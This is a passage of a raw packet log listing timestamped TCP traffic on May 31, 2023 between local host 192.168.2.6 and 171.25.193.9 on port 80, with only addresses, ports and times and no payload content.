May 31, 2023 12:23:07.111877918 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111896038 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111907005 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111924887 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111937046 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111953020 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111965895 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.111987114 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.111994028 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.112013102 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.112023115 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.112042904 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.112050056 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.112070084 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.112081051 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.112097979 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.112111092 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.112127066 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.112140894 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.112157106 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.112169981 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.112189054 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.112198114 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.112214088 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.112226963 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.112241983 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.112288952 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.127301931 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.154915094 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.154947042 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.154968977 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.154989958 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155004025 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155025005 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155040026 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155062914 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155086994 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155107021 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155117989 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155128956 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155153036 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155174017 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155186892 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155196905 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155205965 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155236006 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155237913 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155258894 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155277014 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155292034 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155298948 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155319929 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155320883 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155344009 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155348063 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155365944 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155375004 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155388117 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155397892 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155409098 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155430079 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155447006 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155447006 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155450106 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155467033 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155472040 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155481100 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155494928 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155503035 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155515909 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155539036 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155543089 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155560017 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155563116 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155581951 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155594110 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155605078 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155626059 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155627012 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155649900 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155658960 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155673981 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155679941 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155697107 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155697107 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155720949 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155725956 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155744076 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155750990 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155772924 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155776978 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155795097 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155797958 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155816078 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155822039 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155838966 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155841112 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155860901 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155862093 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155880928 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155884981 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155905962 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155922890 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155925035 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155930996 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155939102 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155949116 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155966043 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155971050 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.155991077 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.155992985 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.156025887 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.156085968 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.170085907 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.170783043 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.171051025 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.198971987 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199009895 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199033022 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199053049 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199074984 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199088097 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199091911 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.199103117 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199121952 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199135065 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.199146032 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199162960 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199176073 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199182034 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.199191093 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199207067 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199223042 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199238062 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199260950 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199275017 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199289083 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199302912 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199316978 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199331045 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199345112 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199364901 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199381113 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199395895 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199409008 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199423075 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199436903 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199456930 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199470043 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199490070 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199511051 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199523926 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199542999 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199551105 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.199564934 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199583054 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.199584961 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199608088 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199615955 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.199628115 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199640036 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.199651003 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199667931 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.199673891 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199687004 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.199696064 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199704885 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.199718952 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199740887 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199753046 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.199763060 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199778080 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.199784994 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199807882 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.199809074 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.199865103 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.200311899 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.200339079 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.200357914 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.200376987 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.200393915 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.200423002 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.200448036 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.213454008 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.213491917 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.213568926 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.213589907 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.213628054 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.213654995 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242371082 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242399931 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242424011 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242444992 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242465973 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242485046 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242501020 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242506027 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242527008 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242533922 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242549896 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242558002 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242571115 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242592096 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242610931 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242633104 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242654085 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242656946 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242656946 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242656946 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242656946 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242672920 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242676020 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242697001 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242702007 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242718935 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242721081 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242744923 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242758989 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242767096 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242785931 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242789030 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242810011 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242820024 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242831945 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242846012 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242852926 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242865086 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242873907 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242885113 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242896080 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242904902 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242918968 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242925882 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242940903 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242947102 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242961884 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242966890 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.242984056 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.242984056 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243007898 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243007898 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243026972 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243031025 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243051052 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243052006 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243074894 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243079901 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243096113 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243097067 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243117094 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243117094 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243138075 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243139029 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243160009 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243160009 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243181944 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243182898 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243202925 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243205070 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243221998 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243227959 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243249893 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243249893 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243271112 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243271112 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243290901 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243294001 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243314028 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243316889 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243335962 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243338108 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243355989 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243359089 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243377924 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243377924 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243401051 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243402004 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243419886 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243424892 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243447065 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243449926 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243469954 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243474007 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243488073 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243491888 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243514061 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243515015 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243537903 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243540049 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243557930 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243577957 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243581057 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243598938 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243601084 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243628025 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243633032 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243649960 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243670940 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243690968 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243694067 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243712902 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243722916 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243736982 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243756056 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243757963 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243777990 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243798018 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243805885 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243820906 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243840933 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243843079 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243860960 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243881941 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243901014 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243905067 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243921995 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243932962 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243942022 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243963003 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.243971109 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.243985891 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.244014978 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.244210005 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.244442940 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.256201029 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.256227970 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.256249905 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.256294012 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.256294012 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.286648989 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.286679983 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.286700964 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.286722898 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.286742926 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.286758900 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.286765099 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.286786079 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.286797047 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.286808968 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.286813021 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.286833048 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.286844969 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.286854029 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.286874056 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.286876917 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.286900043 CEST	80	49723	171.25.193.9	192.168.2.6
May 31, 2023 12:23:07.286901951 CEST	49723	80	192.168.2.6	171.25.193.9
May 31, 2023 12:23:07.286921024 CEST	49723	80	192.168.2.6	171.25.193.9
